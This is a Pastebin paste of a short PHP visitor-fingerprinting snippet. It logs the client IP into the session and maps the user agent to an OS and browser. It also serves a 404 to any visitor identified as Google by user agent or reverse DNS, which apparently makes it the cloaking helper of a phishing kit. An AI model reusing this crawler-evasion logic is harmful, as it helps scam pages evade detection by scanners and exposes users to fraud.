mathio3

clinet_get_info

Apr 14th, 2020
3,596
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 3.35 KB | None | 0 0
  1. date_default_timezone_set('Africa/Algiers');
  2.  
  3. $DZ_timer = date('Y-m-d H:i:s') ;
  4. $user_agent     =   $_SERVER['HTTP_USER_AGENT'];
  5.  
  6. if(strpos($_SERVER['HTTP_USER_AGENT'],'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
  7. if(strpos(gethostbyaddr(getenv("REMOTE_ADDR")),'google') !== false ) { header('HTTP/1.0 404 Not Found'); exit(); }
  8.  
  9.  
  10. $client  = @$_SERVER['HTTP_CLIENT_IP'];
  11. $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
  12. $remote  = @$_SERVER['REMOTE_ADDR'];
  13. $result  = "Unknown";
  14. if(filter_var($client, FILTER_VALIDATE_IP)){
  15.     $ip = $client;
  16. }
  17. elseif(filter_var($forward, FILTER_VALIDATE_IP)){
  18.     $_SESSION['_ip_'] = $ip = $forward;
  19. }
  20. else{
  21.     $_SESSION['_ip_'] = $ip = $remote;
  22. }
  23.  
  24.  
  25. function getOS() {
  26.  
  27. global $user_agent;
  28.  
  29. $os_platform    =   "Unknown OS Platform";
  30.  
  31. $os_array       =   array(
  32.                         '/windows nt 6.2/i'     =>  'Windows 8',
  33.                         '/windows nt 6.1/i'     =>  'Windows 7',
  34.                         '/windows nt 6.0/i'     =>  'Windows Vista',
  35.                         '/windows nt 5.2/i'     =>  'Windows Server 2003/XP x64',
  36.                         '/windows nt 5.1/i'     =>  'Windows XP',
  37.                         '/windows xp/i'         =>  'Windows XP',
  38.                         '/windows nt 5.0/i'     =>  'Windows 2000',
  39.                         '/windows me/i'         =>  'Windows ME',
  40.                         '/win98/i'              =>  'Windows 98',
  41.                         '/win95/i'              =>  'Windows 95',
  42.                         '/win16/i'              =>  'Windows 3.11',
  43.                         '/macintosh|mac os x/i' =>  'Mac OS X',
  44.                         '/mac_powerpc/i'        =>  'Mac OS 9',
  45.                         '/linux/i'              =>  'Linux',
  46.                         '/ubuntu/i'             =>  'Ubuntu',
  47.                         '/iphone/i'             =>  'iPhone',
  48.                         '/ipod/i'               =>  'iPod',
  49.                         '/ipad/i'               =>  'iPad',
  50.                         '/android/i'            =>  'Android',
  51.                         '/blackberry/i'         =>  'BlackBerry',
  52.                         '/webos/i'              =>  'Mobile'
  53.                      );
  54.  
  55. foreach ($os_array as $regex => $value) {
  56.  
  57.  if (preg_match($regex, $user_agent)) {
  58.     $os_platform    =   $value;
  59.  }
  60.  
  61. }
  62.  
  63. return $os_platform;
  64.  
  65. }
  66.  
  67. function getBrowser() {
  68.  
  69. global $user_agent;
  70.  
  71. $browser        =   "Unknown Browser";
  72.  
  73. $browser_array  =   array(
  74.                          '/msie/i'       =>  'Internet Explorer',
  75.                          '/firefox/i'    =>  'Firefox',
  76.                          '/safari/i'     =>  'Safari',
  77.                          '/chrome/i'     =>  'Chrome',
  78.                          '/opera/i'      =>  'Opera',
  79.                          '/netscape/i'   =>  'Netscape',
  80.                          '/maxthon/i'    =>  'Maxthon',
  81.                          '/konqueror/i'  =>  'Konqueror',
  82.                          '/mobile/i'     =>  'Handheld Browser'
  83.                    );
  84.  
  85. foreach ($browser_array as $regex => $value) {
  86.  
  87.   if (preg_match($regex, $user_agent)) {
  88.      $browser    =   $value;
  89.   }
  90.  
  91. }
  92.  
  93. return $browser;
  94.  
  95. }
  96.  
  97. $user_os        =   getOS();
  98. $user_browser   =   getBrowser();
  99.  
  100. $device_details =   "Browser:   ".$user_browser. "";
  101. $user_os =   "Operating System:   :".$user_os."";
Add Comment
Please, Sign In to add comment